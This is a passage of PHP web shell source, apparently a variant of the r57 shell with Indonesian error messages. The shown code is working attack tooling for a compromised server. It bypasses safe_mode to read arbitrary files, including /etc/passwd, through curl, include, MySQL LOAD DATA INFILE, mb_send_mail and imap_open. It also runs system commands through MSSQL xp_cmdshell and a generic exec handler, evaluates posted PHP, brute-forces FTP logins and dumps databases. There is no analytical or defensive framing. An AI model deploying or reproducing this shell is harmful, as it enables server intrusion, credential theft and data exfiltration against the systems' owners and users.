"; if($safe_mode) { switch($_POST['cmd']) { case 'safe_dir': $d=@dir($dir); if ($d) { while (false!==($file=$d->read())) { if ($file=="." || $file=="..") continue; @clearstatcache(); list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file); if($windows){ echo date("d.m.Y H:i",$mtime); if(@is_dir($file)) echo " "; else printf("% 7s ",$size); } else{ $owner = @posix_getpwuid($uid); $grgid = @posix_getgrgid($gid); echo $inode." "; echo perms(@fileperms($file)); printf("% 4d % 9s % 9s %7s ",$nlink,$owner['name'],$grgid['name'],$size); echo date("d.m.Y H:i ",$mtime); } echo "$file\n"; } $d->close(); } else echo $lang[$language._text29]; break; case 'safe_file': if(@is_file($_POST['file'])) { $file = @file($_POST['file']); if($file) { $c = @sizeof($file); for($i=0;$i<$c;$i++) { echo htmlspecialchars($file[$i]); } } else echo $lang[$language._text29]; } else echo $lang[$language._text31]; break; case 'test1': $ci = @curl_init("file://".$_POST['test1_file'].""); $cf = @curl_exec($ci); echo $cf; break; case 'test2': @include($_POST['test2_file']); break; case 'test3': if(!isset($_POST['test3_port'])||empty($_POST['test3_port'])) { $_POST['test3_port'] = "3306"; } $db = @mysql_connect('localhost:'.$_POST['test3_port'],$_POST['test3_ml'],$_POST['test3_mp']); if($db) { if(@mysql_select_db($_POST['test3_md'],$db)) { $sql = "DROP TABLE IF EXISTS temp_r57_table;"; @mysql_query($sql); $sql = "CREATE TABLE `temp_r57_table` ( `file` LONGBLOB NOT NULL );"; @mysql_query($sql); $sql = "LOAD DATA INFILE \"".$_POST['test3_file']."\" INTO TABLE temp_r57_table;"; @mysql_query($sql); $sql = "SELECT * FROM temp_r57_table;"; $r = @mysql_query($sql); while(($r_sql = @mysql_fetch_array($r))) { echo @htmlspecialchars($r_sql[0]); } $sql = "DROP TABLE IF EXISTS temp_r57_table;"; @mysql_query($sql); } else echo "[-] ERROR! Can't select database"; @mysql_close($db); } else echo "[-] ERROR! Can't connect to mysql server"; break; case 'test4': if(!isset($_POST['test4_port'])||empty($_POST['test4_port'])) { $_POST['test4_port'] = "1433"; } $db = @mssql_connect('localhost,'.$_POST['test4_port'],$_POST['test4_ml'],$_POST['test4_mp']); if($db) { if(@mssql_select_db($_POST['test4_md'],$db)) { @mssql_query("drop table r57_temp_table",$db); @mssql_query("create table r57_temp_table ( string VARCHAR (500) NULL)",$db); @mssql_query("insert into r57_temp_table EXEC master.dbo.xp_cmdshell '".$_POST['test4_file']."'",$db); $res = mssql_query("select * from r57_temp_table",$db); while(($row=@mssql_fetch_row($res))) { echo $row[0]."\r\n"; } @mssql_query("drop table r57_temp_table",$db); } else echo "[-] ERROR! Can't select database"; @mssql_close($db); } else echo "[-] ERROR! koneksi ke MSSQL server"; break; case 'test5': if (@file_exists('/tmp/mb_send_mail')) @unlink('/tmp/mb_send_mail'); $extra = "-C ".$_POST['test5_file']." -X /tmp/mb_send_mail"; @mb_send_mail(NULL, NULL, NULL, NULL, $extra); $lines = file ('/tmp/mb_send_mail'); foreach ($lines as $line) { echo htmlspecialchars($line)."\r\n"; } break; case 'test6': $stream = @imap_open('/etc/passwd', "", ""); $dir_list = @imap_list($stream, trim($_POST['test6_file']), "*"); for ($i = 0; $i < count($dir_list); $i++) echo $dir_list[$i]."\r\n"; @imap_close($stream); break; case 'test7': $stream = @imap_open($_POST['test7_file'], "", ""); $str = @imap_body($stream, 1); echo $str; @imap_close($stream); break; } } else if(($_POST['cmd']!="php_eval")&&($_POST['cmd']!="mysql_dump")&&($_POST['cmd']!="db_query")&&($_POST['cmd']!="ftp_brute")){ $cmd_rep = ex($_POST['cmd']); if($windows) { echo @htmlspecialchars(@convert_cyr_string($cmd_rep,'d','w'))."\n"; } else { echo @htmlspecialchars($cmd_rep)."\n"; }} if ($_POST['cmd']=="ftp_brute") { $suc = 0; foreach($users as $user) { $connection = @ftp_connect($ftp_server,$ftp_port,10); if(@ftp_login($connection,$user,$user)) { echo "[+] $user:$user - success\r\n"; $suc++; } else if(isset($_POST['reverse'])) { if(@ftp_login($connection,$user,strrev($user))) { echo "[+] $user:".strrev($user)." - success\r\n"; $suc++; } } @ftp_close($connection); } echo "\r\n-------------------------------------\r\n"; $count = count($users); if(isset($_POST['reverse'])) { $count *= 2; } echo $lang[$language.'_text97'].$count."\r\n"; echo $lang[$language.'_text98'].$suc."\r\n"; } if ($_POST['cmd']=="php_eval"){ $eval = @str_replace("","",$eval); @eval($eval);} if ($_POST['cmd']=="mysql_dump") { if(isset($_POST['dif'])) { $fp = @fopen($_POST['dif_name'], "w"); } $sql = new my_sql(); $sql->db = $_POST['db']; $sql->host = $_POST['db_server']; $sql->port = $_POST['db_port']; $sql->user = $_POST['mysql_l']; $sql->pass = $_POST['mysql_p']; $sql->base = $_POST['mysql_db']; if(!$sql->connect()) { echo "[-] ERROR! tidak bisa koek ke SQL server"; } else if(!$sql->select_db()) { echo "[-] ERROR! Tidak bisa memilih database"; } else if(!$sql->dump($_POST['mysql_tbl'])) { echo "[-] ERROR! Tidak bisa dump"; } else { if(empty($_POST['dif'])) { foreach($sql->dump as $v) echo $v."\r\n"; } else if($fp){ foreach($sql->dump as $v) @fputs($fp,$v."\r\n"); } else { echo "[-] ERROR! Can't write in dump file"; } } } echo "